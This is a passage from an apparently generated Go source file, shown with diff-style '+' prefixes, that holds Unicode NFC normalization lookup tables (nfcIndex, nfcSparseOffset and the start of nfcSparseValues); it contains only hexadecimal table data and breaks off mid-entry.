0x11c6, 0x96e: 0x11de, 0x96f: 0x1216, + 0x970: 0x122a, 0x971: 0x1246, 0x972: 0x1276, 0x973: 0x132a, 0x974: 0x1352, 0x975: 0x13c6, + 0x976: 0x140e, 0x977: 0x141a, 0x978: 0x1422, 0x979: 0x143a, 0x97a: 0x144e, 0x97b: 0x143e, + 0x97c: 0x1456, 0x97d: 0x1452, 0x97e: 0x144a, 0x97f: 0x145a, + // Block 0x26, offset 0x980 + 0x980: 0x1466, 0x981: 0x14a2, 0x982: 0x14de, 0x983: 0x150e, 0x984: 0x1546, 0x985: 0x1566, + 0x986: 0x15b2, 0x987: 0x15d6, 0x988: 0x15f6, 0x989: 0x160a, 0x98a: 0x161a, 0x98b: 0x1626, + 0x98c: 0x1632, 0x98d: 0x1686, 0x98e: 0x1726, 0x98f: 0x17e2, 0x990: 0x17dd, 0x991: 0x180f, + 0x992: 0x0702, 0x993: 0x072a, 0x994: 0x072e, 0x995: 0x1891, 0x996: 0x18be, 0x997: 0x1936, + 0x998: 0x1712, 0x999: 0x1722, + // Block 0x27, offset 0x9c0 + 0x9c0: 0x07f6, 0x9c1: 0x07ee, 0x9c2: 0x07fe, 0x9c3: 0x1774, 0x9c4: 0x0842, 0x9c5: 0x0852, + 0x9c6: 0x0856, 0x9c7: 0x085e, 0x9c8: 0x0866, 0x9c9: 0x086a, 0x9ca: 0x0876, 0x9cb: 0x086e, + 0x9cc: 0x06ae, 0x9cd: 0x1788, 0x9ce: 0x088a, 0x9cf: 0x088e, 0x9d0: 0x0892, 0x9d1: 0x08ae, + 0x9d2: 0x1779, 0x9d3: 0x06b2, 0x9d4: 0x089a, 0x9d5: 0x08ba, 0x9d6: 0x1783, 0x9d7: 0x08ca, + 0x9d8: 0x08d2, 0x9d9: 0x0832, 0x9da: 0x08da, 0x9db: 0x08de, 0x9dc: 0x195e, 0x9dd: 0x08fa, + 0x9de: 0x0902, 0x9df: 0x06ba, 0x9e0: 0x091a, 0x9e1: 0x091e, 0x9e2: 0x0926, 0x9e3: 0x092a, + 0x9e4: 0x06be, 0x9e5: 0x0942, 0x9e6: 0x0946, 0x9e7: 0x0952, 0x9e8: 0x095e, 0x9e9: 0x0962, + 0x9ea: 0x0966, 0x9eb: 0x096e, 0x9ec: 0x098e, 0x9ed: 0x0992, 0x9ee: 0x099a, 0x9ef: 0x09aa, + 0x9f0: 0x09b2, 0x9f1: 0x09b6, 0x9f2: 0x09b6, 0x9f3: 0x09b6, 0x9f4: 0x1797, 0x9f5: 0x0f8e, + 0x9f6: 0x09ca, 0x9f7: 0x09d2, 0x9f8: 0x179c, 0x9f9: 0x09de, 0x9fa: 0x09e6, 0x9fb: 0x09ee, + 0x9fc: 0x0a16, 0x9fd: 0x0a02, 0x9fe: 0x0a0e, 0x9ff: 0x0a12, + // Block 0x28, offset 0xa00 + 0xa00: 0x0a1a, 0xa01: 0x0a22, 0xa02: 0x0a26, 0xa03: 0x0a2e, 0xa04: 0x0a36, 0xa05: 0x0a3a, + 0xa06: 0x0a3a, 0xa07: 0x0a42, 0xa08: 0x0a4a, 0xa09: 0x0a4e, 0xa0a: 0x0a5a, 0xa0b: 0x0a7e, + 0xa0c: 0x0a62, 0xa0d: 0x0a82, 0xa0e: 0x0a66, 0xa0f: 0x0a6e, 0xa10: 0x0906, 0xa11: 0x0aca, + 0xa12: 0x0a92, 0xa13: 0x0a96, 0xa14: 0x0a9a, 0xa15: 0x0a8e, 0xa16: 0x0aa2, 0xa17: 0x0a9e, + 0xa18: 0x0ab6, 0xa19: 0x17a1, 0xa1a: 0x0ad2, 0xa1b: 0x0ad6, 0xa1c: 0x0ade, 0xa1d: 0x0aea, + 0xa1e: 0x0af2, 0xa1f: 0x0b0e, 0xa20: 0x17a6, 0xa21: 0x17ab, 0xa22: 0x0b1a, 0xa23: 0x0b1e, + 0xa24: 0x0b22, 0xa25: 0x0b16, 0xa26: 0x0b2a, 0xa27: 0x06c2, 0xa28: 0x06c6, 0xa29: 0x0b32, + 0xa2a: 0x0b3a, 0xa2b: 0x0b3a, 0xa2c: 0x17b0, 0xa2d: 0x0b56, 0xa2e: 0x0b5a, 0xa2f: 0x0b5e, + 0xa30: 0x0b66, 0xa31: 0x17b5, 0xa32: 0x0b6e, 0xa33: 0x0b72, 0xa34: 0x0c4a, 0xa35: 0x0b7a, + 0xa36: 0x06ca, 0xa37: 0x0b86, 0xa38: 0x0b96, 0xa39: 0x0ba2, 0xa3a: 0x0b9e, 0xa3b: 0x17bf, + 0xa3c: 0x0baa, 0xa3d: 0x17c4, 0xa3e: 0x0bb6, 0xa3f: 0x0bb2, + // Block 0x29, offset 0xa40 + 0xa40: 0x0bba, 0xa41: 0x0bca, 0xa42: 0x0bce, 0xa43: 0x06ce, 0xa44: 0x0bde, 0xa45: 0x0be6, + 0xa46: 0x0bea, 0xa47: 0x0bee, 0xa48: 0x06d2, 0xa49: 0x17c9, 0xa4a: 0x06d6, 0xa4b: 0x0c0a, + 0xa4c: 0x0c0e, 0xa4d: 0x0c12, 0xa4e: 0x0c1a, 0xa4f: 0x1990, 0xa50: 0x0c32, 0xa51: 0x17d3, + 0xa52: 0x17d3, 0xa53: 0x12d2, 0xa54: 0x0c42, 0xa55: 0x0c42, 0xa56: 0x06da, 0xa57: 0x17f6, + 0xa58: 0x18c8, 0xa59: 0x0c52, 0xa5a: 0x0c5a, 0xa5b: 0x06de, 0xa5c: 0x0c6e, 0xa5d: 0x0c7e, + 0xa5e: 0x0c82, 0xa5f: 0x0c8a, 0xa60: 0x0c9a, 0xa61: 0x06e6, 0xa62: 0x06e2, 0xa63: 0x0c9e, + 0xa64: 0x17d8, 0xa65: 0x0ca2, 0xa66: 0x0cb6, 0xa67: 0x0cba, 0xa68: 0x0cbe, 0xa69: 0x0cba, + 0xa6a: 0x0cca, 0xa6b: 0x0cce, 0xa6c: 0x0cde, 0xa6d: 0x0cd6, 0xa6e: 0x0cda, 0xa6f: 0x0ce2, + 0xa70: 0x0ce6, 0xa71: 0x0cea, 0xa72: 0x0cf6, 0xa73: 0x0cfa, 0xa74: 0x0d12, 0xa75: 0x0d1a, + 0xa76: 0x0d2a, 0xa77: 0x0d3e, 0xa78: 0x17e7, 0xa79: 0x0d3a, 0xa7a: 0x0d2e, 0xa7b: 0x0d46, + 0xa7c: 0x0d4e, 0xa7d: 0x0d62, 0xa7e: 0x17ec, 0xa7f: 0x0d6a, + // Block 0x2a, offset 0xa80 + 0xa80: 0x0d5e, 0xa81: 0x0d56, 0xa82: 0x06ea, 0xa83: 0x0d72, 0xa84: 0x0d7a, 0xa85: 0x0d82, + 0xa86: 0x0d76, 0xa87: 0x06ee, 0xa88: 0x0d92, 0xa89: 0x0d9a, 0xa8a: 0x17f1, 0xa8b: 0x0dc6, + 0xa8c: 0x0dfa, 0xa8d: 0x0dd6, 0xa8e: 0x06fa, 0xa8f: 0x0de2, 0xa90: 0x06f6, 0xa91: 0x06f2, + 0xa92: 0x08be, 0xa93: 0x08c2, 0xa94: 0x0dfe, 0xa95: 0x0de6, 0xa96: 0x12a6, 0xa97: 0x075e, + 0xa98: 0x0e0a, 0xa99: 0x0e0e, 0xa9a: 0x0e12, 0xa9b: 0x0e26, 0xa9c: 0x0e1e, 0xa9d: 0x180a, + 0xa9e: 0x06fe, 0xa9f: 0x0e3a, 0xaa0: 0x0e2e, 0xaa1: 0x0e4a, 0xaa2: 0x0e52, 0xaa3: 0x1814, + 0xaa4: 0x0e56, 0xaa5: 0x0e42, 0xaa6: 0x0e5e, 0xaa7: 0x0702, 0xaa8: 0x0e62, 0xaa9: 0x0e66, + 0xaaa: 0x0e6a, 0xaab: 0x0e76, 0xaac: 0x1819, 0xaad: 0x0e7e, 0xaae: 0x0706, 0xaaf: 0x0e8a, + 0xab0: 0x181e, 0xab1: 0x0e8e, 0xab2: 0x070a, 0xab3: 0x0e9a, 0xab4: 0x0ea6, 0xab5: 0x0eb2, + 0xab6: 0x0eb6, 0xab7: 0x1823, 0xab8: 0x17ba, 0xab9: 0x1828, 0xaba: 0x0ed6, 0xabb: 0x182d, + 0xabc: 0x0ee2, 0xabd: 0x0eea, 0xabe: 0x0eda, 0xabf: 0x0ef6, + // Block 0x2b, offset 0xac0 + 0xac0: 0x0f06, 0xac1: 0x0f16, 0xac2: 0x0f0a, 0xac3: 0x0f0e, 0xac4: 0x0f1a, 0xac5: 0x0f1e, + 0xac6: 0x1832, 0xac7: 0x0f02, 0xac8: 0x0f36, 0xac9: 0x0f3a, 0xaca: 0x070e, 0xacb: 0x0f4e, + 0xacc: 0x0f4a, 0xacd: 0x1837, 0xace: 0x0f2e, 0xacf: 0x0f6a, 0xad0: 0x183c, 0xad1: 0x1841, + 0xad2: 0x0f6e, 0xad3: 0x0f82, 0xad4: 0x0f7e, 0xad5: 0x0f7a, 0xad6: 0x0712, 0xad7: 0x0f86, + 0xad8: 0x0f96, 0xad9: 0x0f92, 0xada: 0x0f9e, 0xadb: 0x177e, 0xadc: 0x0fae, 0xadd: 0x1846, + 0xade: 0x0fba, 0xadf: 0x1850, 0xae0: 0x0fce, 0xae1: 0x0fda, 0xae2: 0x0fee, 0xae3: 0x1855, + 0xae4: 0x1002, 0xae5: 0x1006, 0xae6: 0x185a, 0xae7: 0x185f, 0xae8: 0x1022, 0xae9: 0x1032, + 0xaea: 0x0716, 0xaeb: 0x1036, 0xaec: 0x071a, 0xaed: 0x071a, 0xaee: 0x104e, 0xaef: 0x1052, + 0xaf0: 0x105a, 0xaf1: 0x105e, 0xaf2: 0x106a, 0xaf3: 0x071e, 0xaf4: 0x1082, 0xaf5: 0x1864, + 0xaf6: 0x109e, 0xaf7: 0x1869, 0xaf8: 0x10aa, 0xaf9: 0x17ce, 0xafa: 0x10ba, 0xafb: 0x186e, + 0xafc: 0x1873, 0xafd: 0x1878, 0xafe: 0x0722, 0xaff: 0x0726, + // Block 0x2c, offset 0xb00 + 0xb00: 0x10f2, 0xb01: 0x1882, 0xb02: 0x187d, 0xb03: 0x1887, 0xb04: 0x188c, 0xb05: 0x10fa, + 0xb06: 0x10fe, 0xb07: 0x10fe, 0xb08: 0x1106, 0xb09: 0x072e, 0xb0a: 0x110a, 0xb0b: 0x0732, + 0xb0c: 0x0736, 0xb0d: 0x1896, 0xb0e: 0x111e, 0xb0f: 0x1126, 0xb10: 0x1132, 0xb11: 0x073a, + 0xb12: 0x189b, 0xb13: 0x1156, 0xb14: 0x18a0, 0xb15: 0x18a5, 0xb16: 0x1176, 0xb17: 0x118e, + 0xb18: 0x073e, 0xb19: 0x1196, 0xb1a: 0x119a, 0xb1b: 0x119e, 0xb1c: 0x18aa, 0xb1d: 0x18af, + 0xb1e: 0x18af, 0xb1f: 0x11b6, 0xb20: 0x0742, 0xb21: 0x18b4, 0xb22: 0x11ca, 0xb23: 0x11ce, + 0xb24: 0x0746, 0xb25: 0x18b9, 0xb26: 0x11ea, 0xb27: 0x074a, 0xb28: 0x11fa, 0xb29: 0x11f2, + 0xb2a: 0x1202, 0xb2b: 0x18c3, 0xb2c: 0x121a, 0xb2d: 0x074e, 0xb2e: 0x1226, 0xb2f: 0x122e, + 0xb30: 0x123e, 0xb31: 0x0752, 0xb32: 0x18cd, 0xb33: 0x18d2, 0xb34: 0x0756, 0xb35: 0x18d7, + 0xb36: 0x1256, 0xb37: 0x18dc, 0xb38: 0x1262, 0xb39: 0x126e, 0xb3a: 0x1276, 0xb3b: 0x18e1, + 0xb3c: 0x18e6, 0xb3d: 0x128a, 0xb3e: 0x18eb, 0xb3f: 0x1292, + // Block 0x2d, offset 0xb40 + 0xb40: 0x17fb, 0xb41: 0x075a, 0xb42: 0x12aa, 0xb43: 0x12ae, 0xb44: 0x0762, 0xb45: 0x12b2, + 0xb46: 0x0b2e, 0xb47: 0x18f0, 0xb48: 0x18f5, 0xb49: 0x1800, 0xb4a: 0x1805, 0xb4b: 0x12d2, + 0xb4c: 0x12d6, 0xb4d: 0x14ee, 0xb4e: 0x0766, 0xb4f: 0x1302, 0xb50: 0x12fe, 0xb51: 0x1306, + 0xb52: 0x093a, 0xb53: 0x130a, 0xb54: 0x130e, 0xb55: 0x1312, 0xb56: 0x131a, 0xb57: 0x18fa, + 0xb58: 0x1316, 0xb59: 0x131e, 0xb5a: 0x1332, 0xb5b: 0x1336, 0xb5c: 0x1322, 0xb5d: 0x133a, + 0xb5e: 0x134e, 0xb5f: 0x1362, 0xb60: 0x132e, 0xb61: 0x1342, 0xb62: 0x1346, 0xb63: 0x134a, + 0xb64: 0x18ff, 0xb65: 0x1909, 0xb66: 0x1904, 0xb67: 0x076a, 0xb68: 0x136a, 0xb69: 0x136e, + 0xb6a: 0x1376, 0xb6b: 0x191d, 0xb6c: 0x137a, 0xb6d: 0x190e, 0xb6e: 0x076e, 0xb6f: 0x0772, + 0xb70: 0x1913, 0xb71: 0x1918, 0xb72: 0x0776, 0xb73: 0x139a, 0xb74: 0x139e, 0xb75: 0x13a2, + 0xb76: 0x13a6, 0xb77: 0x13b2, 0xb78: 0x13ae, 0xb79: 0x13ba, 0xb7a: 0x13b6, 0xb7b: 0x13c6, + 0xb7c: 0x13be, 0xb7d: 0x13c2, 0xb7e: 0x13ca, 0xb7f: 0x077a, + // Block 0x2e, offset 0xb80 + 0xb80: 0x13d2, 0xb81: 0x13d6, 0xb82: 0x077e, 0xb83: 0x13e6, 0xb84: 0x13ea, 0xb85: 0x1922, + 0xb86: 0x13f6, 0xb87: 0x13fa, 0xb88: 0x0782, 0xb89: 0x1406, 0xb8a: 0x06b6, 0xb8b: 0x1927, + 0xb8c: 0x192c, 0xb8d: 0x0786, 0xb8e: 0x078a, 0xb8f: 0x1432, 0xb90: 0x144a, 0xb91: 0x1466, + 0xb92: 0x1476, 0xb93: 0x1931, 0xb94: 0x148a, 0xb95: 0x148e, 0xb96: 0x14a6, 0xb97: 0x14b2, + 0xb98: 0x193b, 0xb99: 0x178d, 0xb9a: 0x14be, 0xb9b: 0x14ba, 0xb9c: 0x14c6, 0xb9d: 0x1792, + 0xb9e: 0x14d2, 0xb9f: 0x14de, 0xba0: 0x1940, 0xba1: 0x1945, 0xba2: 0x151e, 0xba3: 0x152a, + 0xba4: 0x1532, 0xba5: 0x194a, 0xba6: 0x1536, 0xba7: 0x1562, 0xba8: 0x156e, 0xba9: 0x1572, + 0xbaa: 0x156a, 0xbab: 0x157e, 0xbac: 0x1582, 0xbad: 0x194f, 0xbae: 0x158e, 0xbaf: 0x078e, + 0xbb0: 0x1596, 0xbb1: 0x1954, 0xbb2: 0x0792, 0xbb3: 0x15ce, 0xbb4: 0x0bbe, 0xbb5: 0x15e6, + 0xbb6: 0x1959, 0xbb7: 0x1963, 0xbb8: 0x0796, 0xbb9: 0x079a, 0xbba: 0x160e, 0xbbb: 0x1968, + 0xbbc: 0x079e, 0xbbd: 0x196d, 0xbbe: 0x1626, 0xbbf: 0x1626, + // Block 0x2f, offset 0xbc0 + 0xbc0: 0x162e, 0xbc1: 0x1972, 0xbc2: 0x1646, 0xbc3: 0x07a2, 0xbc4: 0x1656, 0xbc5: 0x1662, + 0xbc6: 0x166a, 0xbc7: 0x1672, 0xbc8: 0x07a6, 0xbc9: 0x1977, 0xbca: 0x1686, 0xbcb: 0x16a2, + 0xbcc: 0x16ae, 0xbcd: 0x07aa, 0xbce: 0x07ae, 0xbcf: 0x16b2, 0xbd0: 0x197c, 0xbd1: 0x07b2, + 0xbd2: 0x1981, 0xbd3: 0x1986, 0xbd4: 0x198b, 0xbd5: 0x16d6, 0xbd6: 0x07b6, 0xbd7: 0x16ea, + 0xbd8: 0x16f2, 0xbd9: 0x16f6, 0xbda: 0x16fe, 0xbdb: 0x1706, 0xbdc: 0x170e, 0xbdd: 0x1995, +} + +// nfcIndex: 22 blocks, 1408 entries, 1408 bytes +// Block 0 is the zero block. +var nfcIndex = [1408]uint8{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x2e, 0xc3: 0x01, 0xc4: 0x02, 0xc5: 0x03, 0xc6: 0x2f, 0xc7: 0x04, + 0xc8: 0x05, 0xca: 0x30, 0xcb: 0x31, 0xcc: 0x06, 0xcd: 0x07, 0xce: 0x08, 0xcf: 0x32, + 0xd0: 0x09, 0xd1: 0x33, 0xd2: 0x34, 0xd3: 0x0a, 0xd6: 0x0b, 0xd7: 0x35, + 0xd8: 0x36, 0xd9: 0x0c, 0xdb: 0x37, 0xdc: 0x38, 0xdd: 0x39, 0xdf: 0x3a, + 0xe0: 0x02, 0xe1: 0x03, 0xe2: 0x04, 0xe3: 0x05, + 0xea: 0x06, 0xeb: 0x07, 0xec: 0x08, 0xed: 0x09, 0xef: 0x0a, + 0xf0: 0x13, + // Block 0x4, offset 0x100 + 0x120: 0x3b, 0x121: 0x3c, 0x122: 0x3d, 0x123: 0x0d, 0x124: 0x3e, 0x125: 0x3f, 0x126: 0x40, 0x127: 0x41, + 0x128: 0x42, 0x129: 0x43, 0x12a: 0x44, 0x12b: 0x45, 0x12c: 0x40, 0x12d: 0x46, 0x12e: 0x47, 0x12f: 0x48, + 0x130: 0x44, 0x131: 0x49, 0x132: 0x4a, 0x133: 0x4b, 0x134: 0x4c, 0x135: 0x4d, 0x137: 0x4e, + 0x138: 0x4f, 0x139: 0x50, 0x13a: 0x51, 0x13b: 0x52, 0x13c: 0x53, 0x13d: 0x54, 0x13e: 0x55, 0x13f: 0x56, + // Block 0x5, offset 0x140 + 0x140: 0x57, 0x142: 0x58, 0x144: 0x59, 0x145: 0x5a, 0x146: 0x5b, 0x147: 0x5c, + 0x14d: 0x5d, + 0x15c: 0x5e, 0x15f: 0x5f, + 0x162: 0x60, 0x164: 0x61, + 0x168: 0x62, 0x169: 0x63, 0x16a: 0x64, 0x16b: 0x65, 0x16c: 0x0e, 0x16d: 0x66, 0x16e: 0x67, 0x16f: 0x68, + 0x170: 0x69, 0x173: 0x6a, 0x177: 0x0f, + 0x178: 0x10, 0x179: 0x11, 0x17a: 0x12, 0x17b: 0x13, 0x17c: 0x14, 0x17d: 0x15, 0x17e: 0x16, 0x17f: 0x17, + // Block 0x6, offset 0x180 + 0x180: 0x6b, 0x183: 0x6c, 0x184: 0x6d, 0x186: 0x6e, 0x187: 0x6f, + 0x188: 0x70, 0x189: 0x18, 0x18a: 0x19, 0x18b: 0x71, 0x18c: 0x72, + 0x1ab: 0x73, + 0x1b3: 0x74, 0x1b5: 0x75, 0x1b7: 0x76, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x77, 0x1c1: 0x1a, 0x1c2: 0x1b, 0x1c3: 0x1c, 0x1c4: 0x78, 0x1c5: 0x79, + 0x1c9: 0x7a, 0x1cc: 0x7b, 0x1cd: 0x7c, + // Block 0x8, offset 0x200 + 0x219: 0x7d, 0x21a: 0x7e, 0x21b: 0x7f, + 0x220: 0x80, 0x223: 0x81, 0x224: 0x82, 0x225: 0x83, 0x226: 0x84, 0x227: 0x85, + 0x22a: 0x86, 0x22b: 0x87, 0x22f: 0x88, + 0x230: 0x89, 0x231: 0x8a, 0x232: 0x8b, 0x233: 0x8c, 0x234: 0x8d, 0x235: 0x8e, 0x236: 0x8f, 0x237: 0x89, + 0x238: 0x8a, 0x239: 0x8b, 0x23a: 0x8c, 0x23b: 0x8d, 0x23c: 0x8e, 0x23d: 0x8f, 0x23e: 0x89, 0x23f: 0x8a, + // Block 0x9, offset 0x240 + 0x240: 0x8b, 0x241: 0x8c, 0x242: 0x8d, 0x243: 0x8e, 0x244: 0x8f, 0x245: 0x89, 0x246: 0x8a, 0x247: 0x8b, + 0x248: 0x8c, 0x249: 0x8d, 0x24a: 0x8e, 0x24b: 0x8f, 0x24c: 0x89, 0x24d: 0x8a, 0x24e: 0x8b, 0x24f: 0x8c, + 0x250: 0x8d, 0x251: 0x8e, 0x252: 0x8f, 0x253: 0x89, 0x254: 0x8a, 0x255: 0x8b, 0x256: 0x8c, 0x257: 0x8d, + 0x258: 0x8e, 0x259: 0x8f, 0x25a: 0x89, 0x25b: 0x8a, 0x25c: 0x8b, 0x25d: 0x8c, 0x25e: 0x8d, 0x25f: 0x8e, + 0x260: 0x8f, 0x261: 0x89, 0x262: 0x8a, 0x263: 0x8b, 0x264: 0x8c, 0x265: 0x8d, 0x266: 0x8e, 0x267: 0x8f, + 0x268: 0x89, 0x269: 0x8a, 0x26a: 0x8b, 0x26b: 0x8c, 0x26c: 0x8d, 0x26d: 0x8e, 0x26e: 0x8f, 0x26f: 0x89, + 0x270: 0x8a, 0x271: 0x8b, 0x272: 0x8c, 0x273: 0x8d, 0x274: 0x8e, 0x275: 0x8f, 0x276: 0x89, 0x277: 0x8a, + 0x278: 0x8b, 0x279: 0x8c, 0x27a: 0x8d, 0x27b: 0x8e, 0x27c: 0x8f, 0x27d: 0x89, 0x27e: 0x8a, 0x27f: 0x8b, + // Block 0xa, offset 0x280 + 0x280: 0x8c, 0x281: 0x8d, 0x282: 0x8e, 0x283: 0x8f, 0x284: 0x89, 0x285: 0x8a, 0x286: 0x8b, 0x287: 0x8c, + 0x288: 0x8d, 0x289: 0x8e, 0x28a: 0x8f, 0x28b: 0x89, 0x28c: 0x8a, 0x28d: 0x8b, 0x28e: 0x8c, 0x28f: 0x8d, + 0x290: 0x8e, 0x291: 0x8f, 0x292: 0x89, 0x293: 0x8a, 0x294: 0x8b, 0x295: 0x8c, 0x296: 0x8d, 0x297: 0x8e, + 0x298: 0x8f, 0x299: 0x89, 0x29a: 0x8a, 0x29b: 0x8b, 0x29c: 0x8c, 0x29d: 0x8d, 0x29e: 0x8e, 0x29f: 0x8f, + 0x2a0: 0x89, 0x2a1: 0x8a, 0x2a2: 0x8b, 0x2a3: 0x8c, 0x2a4: 0x8d, 0x2a5: 0x8e, 0x2a6: 0x8f, 0x2a7: 0x89, + 0x2a8: 0x8a, 0x2a9: 0x8b, 0x2aa: 0x8c, 0x2ab: 0x8d, 0x2ac: 0x8e, 0x2ad: 0x8f, 0x2ae: 0x89, 0x2af: 0x8a, + 0x2b0: 0x8b, 0x2b1: 0x8c, 0x2b2: 0x8d, 0x2b3: 0x8e, 0x2b4: 0x8f, 0x2b5: 0x89, 0x2b6: 0x8a, 0x2b7: 0x8b, + 0x2b8: 0x8c, 0x2b9: 0x8d, 0x2ba: 0x8e, 0x2bb: 0x8f, 0x2bc: 0x89, 0x2bd: 0x8a, 0x2be: 0x8b, 0x2bf: 0x8c, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x8d, 0x2c1: 0x8e, 0x2c2: 0x8f, 0x2c3: 0x89, 0x2c4: 0x8a, 0x2c5: 0x8b, 0x2c6: 0x8c, 0x2c7: 0x8d, + 0x2c8: 0x8e, 0x2c9: 0x8f, 0x2ca: 0x89, 0x2cb: 0x8a, 0x2cc: 0x8b, 0x2cd: 0x8c, 0x2ce: 0x8d, 0x2cf: 0x8e, + 0x2d0: 0x8f, 0x2d1: 0x89, 0x2d2: 0x8a, 0x2d3: 0x8b, 0x2d4: 0x8c, 0x2d5: 0x8d, 0x2d6: 0x8e, 0x2d7: 0x8f, + 0x2d8: 0x89, 0x2d9: 0x8a, 0x2da: 0x8b, 0x2db: 0x8c, 0x2dc: 0x8d, 0x2dd: 0x8e, 0x2de: 0x90, + // Block 0xc, offset 0x300 + 0x324: 0x1d, 0x325: 0x1e, 0x326: 0x1f, 0x327: 0x20, + 0x328: 0x21, 0x329: 0x22, 0x32a: 0x23, 0x32b: 0x24, 0x32c: 0x91, 0x32d: 0x92, 0x32e: 0x93, + 0x331: 0x94, 0x332: 0x95, 0x333: 0x96, 0x334: 0x97, + 0x338: 0x98, 0x339: 0x99, 0x33a: 0x9a, 0x33b: 0x9b, 0x33e: 0x9c, 0x33f: 0x9d, + // Block 0xd, offset 0x340 + 0x347: 0x9e, + 0x34b: 0x9f, 0x34d: 0xa0, + 0x368: 0xa1, 0x36b: 0xa2, + 0x374: 0xa3, + 0x37a: 0xa4, 0x37b: 0xa5, 0x37d: 0xa6, 0x37e: 0xa7, + // Block 0xe, offset 0x380 + 0x381: 0xa8, 0x382: 0xa9, 0x384: 0xaa, 0x385: 0x84, 0x387: 0xab, + 0x388: 0xac, 0x38b: 0xad, 0x38c: 0xae, 0x38d: 0xaf, + 0x391: 0xb0, 0x392: 0xb1, 0x393: 0xb2, 0x396: 0xb3, 0x397: 0xb4, + 0x398: 0x75, 0x39a: 0xb5, 0x39c: 0xb6, + 0x3a0: 0xb7, 0x3a4: 0xb8, 0x3a5: 0xb9, 0x3a7: 0xba, + 0x3a8: 0xbb, 0x3a9: 0xbc, 0x3aa: 0xbd, + 0x3b0: 0x75, 0x3b5: 0xbe, 0x3b6: 0xbf, + 0x3bd: 0xc0, + // Block 0xf, offset 0x3c0 + 0x3eb: 0xc1, 0x3ec: 0xc2, + 0x3ff: 0xc3, + // Block 0x10, offset 0x400 + 0x432: 0xc4, + // Block 0x11, offset 0x440 + 0x445: 0xc5, 0x446: 0xc6, 0x447: 0xc7, + 0x449: 0xc8, + // Block 0x12, offset 0x480 + 0x480: 0xc9, 0x482: 0xca, 0x484: 0xc2, + 0x48a: 0xcb, 0x48b: 0xcc, + 0x493: 0xcd, + 0x4a3: 0xce, 0x4a5: 0xcf, + // Block 0x13, offset 0x4c0 + 0x4c8: 0xd0, + // Block 0x14, offset 0x500 + 0x520: 0x25, 0x521: 0x26, 0x522: 0x27, 0x523: 0x28, 0x524: 0x29, 0x525: 0x2a, 0x526: 0x2b, 0x527: 0x2c, + 0x528: 0x2d, + // Block 0x15, offset 0x540 + 0x550: 0x0b, 0x551: 0x0c, 0x556: 0x0d, + 0x55b: 0x0e, 0x55d: 0x0f, 0x55e: 0x10, 0x55f: 0x11, + 0x56f: 0x12, +} + +// nfcSparseOffset: 163 entries, 326 bytes +var nfcSparseOffset = []uint16{0x0, 0x5, 0x9, 0xb, 0xd, 0x18, 0x28, 0x2a, 0x2f, 0x3a, 0x49, 0x56, 0x5e, 0x63, 0x68, 0x6a, 0x6e, 0x76, 0x7d, 0x80, 0x88, 0x8c, 0x90, 0x92, 0x94, 0x9d, 0xa1, 0xa8, 0xad, 0xb0, 0xba, 0xbd, 0xc4, 0xcc, 0xcf, 0xd1, 0xd4, 0xd6, 0xdb, 0xec, 0xf8, 0xfa, 0x100, 0x102, 0x104, 0x106, 0x108, 0x10a, 0x10c, 0x10f, 0x112, 0x114, 0x117, 0x11a, 0x11e, 0x124, 0x12b, 0x134, 0x136, 0x139, 0x13b, 0x146, 0x14a, 0x158, 0x15b, 0x161, 0x167, 0x172, 0x176, 0x178, 0x17a, 0x17c, 0x17e, 0x180, 0x186, 0x18a, 0x18c, 0x18e, 0x196, 0x19a, 0x19d, 0x19f, 0x1a1, 0x1a4, 0x1a7, 0x1a9, 0x1ab, 0x1ad, 0x1af, 0x1b5, 0x1b8, 0x1ba, 0x1c1, 0x1c7, 0x1cd, 0x1d5, 0x1db, 0x1e1, 0x1e7, 0x1eb, 0x1f9, 0x202, 0x205, 0x208, 0x20a, 0x20d, 0x20f, 0x213, 0x218, 0x21a, 0x21c, 0x221, 0x227, 0x229, 0x22b, 0x22d, 0x233, 0x236, 0x238, 0x23a, 0x23c, 0x242, 0x246, 0x24a, 0x252, 0x259, 0x25c, 0x25f, 0x261, 0x264, 0x26c, 0x270, 0x277, 0x27a, 0x280, 0x282, 0x285, 0x287, 0x28a, 0x28f, 0x291, 0x293, 0x295, 0x297, 0x299, 0x29c, 0x29e, 0x2a0, 0x2a2, 0x2a4, 0x2a6, 0x2a8, 0x2b5, 0x2bf, 0x2c1, 0x2c3, 0x2c9, 0x2cb, 0x2cd, 0x2cf, 0x2d3, 0x2d5, 0x2d8} + +// nfcSparseValues: 730 entries, 2920 bytes +var nfcSparseValues = [730]valueRange{ + // Block 0x0, offset 0x0 + {value: 0x0000, lo: 0x04}, + {value: 0xa100, lo: 0xa8, hi: 0xa8}, + {value: 0x8100, lo: 0xaf, hi: 0xaf}, + {value: 0x8100, lo: 0xb4, hi: 0xb4}, + {value: 0x8100, lo: 0xb8, hi: 0xb8}, + // Block 0x1, offset 0x5 + {value: 0x0091, lo: 0x03}, + {value: 0x4823, lo: 0xa0, hi: 0xa1}, + {value: 0x4855, lo: 0xaf, hi: 0xb0}, + {value: 0xa000, lo: 0xb7, hi: 0xb7}, + // Block 0x2, offset 0x9 + {value: 0x0000, lo: 0x01}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + // Block 0x3, offset 0xb + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0x98, hi: 0x9d}, + // Block 0x4, offset 0xd + {value: 0x0006, lo: 0x0a}, + {value: 0xa000, lo: 0x81, hi: 0x81}, + {value: 0xa000, lo: 0x85, hi: 0x85}, + {value: 0xa000, lo: 0x89, hi: 0x89}, + {value: 0x4981, lo: 0x8a, hi: 0x8a}, + {value: 0x499f, lo: 0x8b, hi: 0x8b}, + {value: 0x3808, lo: 0x8c, hi: 0x8c}, + {value: 0x3820, lo: 0x8d, hi: 0x8d}, + {value: 0x49b7, lo: 0x8e, hi: 0x8e}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x383e, lo: 0x93, hi: 0x94}, + // Block 0x5, offset 0x18 + {value: 0x0000, lo: 0x0f}, + {value: 0xa000, lo: 0x83, hi: 0x83}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0xa000, lo: 0x8b, hi: 0x8b}, + {value: 0xa000, lo: 0x8d, hi: 0x8d}, + {value: 0x38e6, lo: 0x90, hi: 0x90}, + {value: 0x38f2, lo: 0x91, hi: 0x91}, + {value: 0x38e0, lo: 0x93, hi: 0x93}, + {value: 0xa000, lo: 0x96, hi: 